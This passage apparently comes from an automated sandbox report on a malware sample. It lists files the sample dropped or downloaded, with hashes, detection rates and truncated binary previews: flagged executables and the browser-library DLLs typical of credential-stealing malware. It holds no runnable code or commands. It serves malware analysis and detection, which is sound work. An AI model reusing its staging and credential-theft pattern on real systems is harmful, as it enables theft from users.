Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHIEHJEBAAFIDHJEBGI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKFIIEB

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073645726264564
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr4:KooCEYhgYEL0In
MD5:	EECB40D4B54CFF70822D0BFB786C0396
SHA1:	75027ABCCF4663D7744881DC206F3B04530F1BFC
SHA-256:	53F582C28DA99DA476C9B9CE48E111351D0F94352999D753D8CB50D59F7D1F9B
SHA-512:	B9601CC3BED80DC6B4D95C6D6485AB8418B884F178822519453E73803F87AD153E8EE1927F6B62BB64088722662C922D312BA29EBDBACA809C36785C1D3BAB2C
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf23c8123, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4222006742495245
Encrypted:	false
SSDEEP:	1536:C74SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1w:C74aza/vMUM2Uvz7DO
MD5:	B6E26F8E4B42F7295DD9784DBC21E669
SHA1:	FCB071A2F7672889CC3860FB22E1AC5FA46697C3
SHA-256:	30AFAE6DE983863C80677D5201043C9EC58EDD165E0037AED11E7398C2809344
SHA-512:	CBB5725AEC54AEB48FAF72C5D2E437D610645411298D37F6503EBFBFA41BE261FFBD903D64633A8DC6EEDB47F747958FC82DD6893A19C38AB9904C1CF18895EC
Malicious:	false
Preview:	.<.#... .......A.......X\...;...{......................0.!..........{A."....\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.................................../.."....\|....................."....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07694654765132056
Encrypted:	false
SSDEEP:	3:Ql8YewgZuajn13a/JJnHlallcVO/lnlZMxZNQl:Q6zbZua53qJJHAOewk
MD5:	2CAF4E38A552727C915DE7B59B07053C
SHA1:	2F2BF5A2E4663D161FB73B26F30626D0F7E1A959
SHA-256:	F374F0E02AEC56A2B5699043E5D6905FA16F3F9BD285A76418F9E3CCCA6F6BC3
SHA-512:	3D2046DFAB202CCDCC832B7A564AF09B86333F6AF094C4E330D444519FEF92E8279A09F674855CF79297FA2A65A05548EBAE5EEBD28A285BB2FFB6B5054F54D8
Malicious:	false
Preview:	..T......................................;...{.."....\|.......{A..............{A......{A..........{A]..................."....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: czxw4iVMHJ.exe, Detection: malicious, Browse Filename: JHPvqMzKbz.exe, Detection: malicious, Browse Filename: F2Y5tbGngK.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: o3QbCA4xLs.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: czxw4iVMHJ.exe, Detection: malicious, Browse Filename: JHPvqMzKbz.exe, Detection: malicious, Browse Filename: lkIbbNB9ba.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: o3QbCA4xLs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	256000
Entropy (8bit):	6.5457370285015966
Encrypted:	false
SSDEEP:	6144:M+TPa9FQSnZndg9lxwKzjhzJr573n7LBVb1B+3TqvOymozCvyOvXtheOkc6lpyvC:McPa9C9VbL+3Omy5CvyOvzeOKT
MD5:	E303F635CA871A0E37D76971E3AE9903
SHA1:	71E01934E94867F05CDD0977E25645473780FCB1
SHA-256:	C46CB31DC7912C217C85E28330637BCE0E642E4E225A19AF9FDA4AAFA1ED45CC
SHA-512:	210BBBCE0E649549CE6EBBE09D607711F0F6588C494DB26AA74ABD61CDAA61379128248EA08E5CDF827DEA0D09DF2D44E1F12AC962E40698771A442047E2DF82
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8a0ff7e068.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Fwkdsz[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	223704
Entropy (8bit):	6.478282624362907
Encrypted:	false
SSDEEP:	3072:dWlUVdUEs9Wla/eLOCoTo1txKWT2FEFX0/UMTwTh2OCgazMznRVJogh4ydDeuw42:dWTKa/OtxKcrxaUMWRjDh4C6uTte
MD5:	54F4EBCE5C56BF86C5948D89BA8C875F
SHA1:	8DA1E1B95CBBA3E9A50BA999D3D1EA64CC2B358E
SHA-256:	B4A622D3535BBC64DAB4626BF93482A2983A63F77ACD0AE9B6386F51F736376C
SHA-512:	05D8429B28C918F402A246E44C83DEA4C11F01F571D6B72D16337C83395D03FEB8A4D14F5F9E7EAF62DD1621A80CA966B3FF3E026E396EEEDB4FDFBD772A3EA8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....%g.....................,.......9... ...@....@.. ....................................`..................................9..S....@...(...........H...!........................................................... ............... ..H............text........ ...................... ..`.rsrc....(...@.....................@..@.reloc...............F..............@..B.................9......H.......4...d+..............c.......................................................................................................................................................:.(-.....}....>..(......}....V..o/....(0.....}....B...(0.....}........(1.....rE..p.....(2...o3........}....j.rS..p.{....o4......(5.....{........(9...T8......J.XT.J.X(.....(=...-."..(....2.s....(....J.(....o.....(....6..s....(....R..(.....( ....(....:...s....(....*v...(!....(x.....}.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.367933458560993
Encrypted:	false
SSDEEP:	24:OBfNaoQoEUKINePKllDQo+BfNaoQORw6RMBYpDQORKBfNaoQ+bOU1UQ+r:SfNaoQBTEQzfNaoQORXRzQORefNaoQdf
MD5:	6CD78402C1E00817590B3B643795C26B
SHA1:	818E6580C592A98DA252F5108DD9EFA2455B70D4
SHA-256:	765B91CA38BA783FCF7D4382ECFEDCB33A9B08FEB5FD69B03214047E998D2030
SHA-512:	F49FEF76FF121FFC72D5D58BC9BE0780FB4AA66B92FC6B0F436C07436CFBE9C074823057B3CC0D017D4D4120AEA98194D6926EE38C1EF87FE2248B1D7B044B38
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6F7EA3F7F9A920052426AF8C3B0EFEC7",.. "id": "6F7EA3F7F9A920052426AF8C3B0EFEC7",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6F7EA3F7F9A920052426AF8C3B0EFEC7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5550B9FD03B71F6D465F8C802379B985",.. "id": "5550B9FD03B71F6D465F8C802379B985",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5550B9FD03B71F6D465F8C802379B985"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2866688
Entropy (8bit):	6.494213416290658
Encrypted:	false
SSDEEP:	49152:t5ZZQ5qtYXNzHTOl88780cMTwCLKxEnT28f:t5ZZQ5qyXNzHTOl8XMwCLKCnyO
MD5:	01DDF9CC770BC558B2FAFFA43B9B5B12
SHA1:	41300C4536F0F97182BC08207BE6B7E03200D9A7
SHA-256:	FE788A81D8D514B8D5DB059A110090498C4CD6A8CCD77A5D6036AE9E603E06B1
SHA-512:	49CF6DF07F468D1531C64041419E3B698AACB7E2C872D3310BA58C3BA5E73CED318946FA9CCFAAC506DF1D9EAE3A6AD91E8D0FB41E43153053B4B8F55BB94468
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... ,.. ...`....@.. .......................`,.....E.,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...krwtsfss.`+......^+..:..............@...qssevqjd. ....,.......+.............@....taggant.@... ,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2143744
Entropy (8bit):	7.959329929023164
Encrypted:	false
SSDEEP:	49152:/gTKihWoN2xC3miqdOlcZsxJmyfTOQxI0UsGzNLNuLbLujD:YTAoN2E4dO+ZuJmybjI0ULuL
MD5:	90CD56BFD041977B953EC0D6AC7F665C
SHA1:	C0CBD27BA7367C60BA521CE16056A115EE638EB8
SHA-256:	1BA20B045D5B1D94525FCF24264305573278D9584ECBB9C897ADCDEFBFE5EEC4
SHA-512:	16DD26329B62E1CFCD6B215D5FF0572F2AC0036125DD447FB06AEF929696A5E6BB8FCEF7A5E5711AF993054848301F1CD1A07752A4FEDB61FE5EFAF4B3448BFB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,...... s...........@..........................Ps.....+.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .`*.........................@...onvelaog......Y.....................@...dkmdjfdj......s....... .............@....taggant.0... s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584688480979072
Encrypted:	false
SSDEEP:	12288:zqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T7:zqDEvCTbMWu7rQYlBQcBiT6rprG8ab7
MD5:	C1FA8AC639C1D531A4C7CF311C056AB0
SHA1:	1D1C137AD8EA08C6ABDC2CFB8E8F7B7F802499BF
SHA-256:	E4187B64BC8D91A8413225D696CF1BDCB08905B1698F8922DF19F88EB7314E08
SHA-512:	1836E302213E7CD81B456CD8B711AD18DB360BD4D25636BAF4DB97A8893F5DF486B640603DC69B2DAE567F95D0814C306A3FB86376536A9E2F1143603697DFD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...0.%g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	256000
Entropy (8bit):	6.5457370285015966
Encrypted:	false
SSDEEP:	6144:M+TPa9FQSnZndg9lxwKzjhzJr573n7LBVb1B+3TqvOymozCvyOvXtheOkc6lpyvC:McPa9C9VbL+3Omy5CvyOvzeOKT
MD5:	E303F635CA871A0E37D76971E3AE9903
SHA1:	71E01934E94867F05CDD0977E25645473780FCB1
SHA-256:	C46CB31DC7912C217C85E28330637BCE0E642E4E225A19AF9FDA4AAFA1ED45CC
SHA-512:	210BBBCE0E649549CE6EBBE09D607711F0F6588C494DB26AA74ABD61CDAA61379128248EA08E5CDF827DEA0D09DF2D44E1F12AC962E40698771A442047E2DF82
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2964480
Entropy (8bit):	6.547019304873906
Encrypted:	false
SSDEEP:	49152:3S4JSuBwINPmACNvfBiKKx2ymGdMOqJ97s+Y:xSuBfNOAoxip2FG6OqJ9NY
MD5:	53014E825FFABBC0AC8A0AB1AEC76EE7
SHA1:	0C81CBA17F60843F4FC34388E6F07EE969E1B056
SHA-256:	F018E69934CDBC05BCE5C6DDAF408409C2FBBBE1BD76E7D586221B0FC077FE2B
SHA-512:	7DE026C0324A35DFBD273C329AB5EFBA662B71DEEC2AD8D405A55348C4B2AE6492BD3D74C3BF85133184E66AE834A8D3D8CD195ECB047759088B7FFBEF9F4999
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........P0...........@...........................0......y-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...zjitwqld..........................@...mduizhsw.....@0.......-.............@....taggant.0...P0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.37934760551302
Encrypted:	false
SSDEEP:	48:zWSU4xymI4RfoUeW+gZ9tK8NPP8xL7u1iMuge//ZSUyuE:zLHxvIIwLgZ2KHuLOugEE
MD5:	29D2ADCE1F23E4AD7B0B20BB2EBB403E
SHA1:	C282948447DBB92A63E054E2E1E67C6699331746
SHA-256:	9E10D418387EA8A5C5F1AFB18F0160877BBCF734263FB2C1E31DE55724B5D0AA
SHA-512:	F55590E743B02660232AEC47E7F30D1B4D107B3792E708BB98C9A0DCBB6FBCADB24C6FDDDE1BFC8806E3DD2D316EAD04470D01F8630C59C2D9B4C62E3D8B2D24
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	223704
Entropy (8bit):	6.478282624362907
Encrypted:	false
SSDEEP:	3072:dWlUVdUEs9Wla/eLOCoTo1txKWT2FEFX0/UMTwTh2OCgazMznRVJogh4ydDeuw42:dWTKa/OtxKcrxaUMWRjDh4C6uTte
MD5:	54F4EBCE5C56BF86C5948D89BA8C875F
SHA1:	8DA1E1B95CBBA3E9A50BA999D3D1EA64CC2B358E
SHA-256:	B4A622D3535BBC64DAB4626BF93482A2983A63F77ACD0AE9B6386F51F736376C
SHA-512:	05D8429B28C918F402A246E44C83DEA4C11F01F571D6B72D16337C83395D03FEB8A4D14F5F9E7EAF62DD1621A80CA966B3FF3E026E396EEEDB4FDFBD772A3EA8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
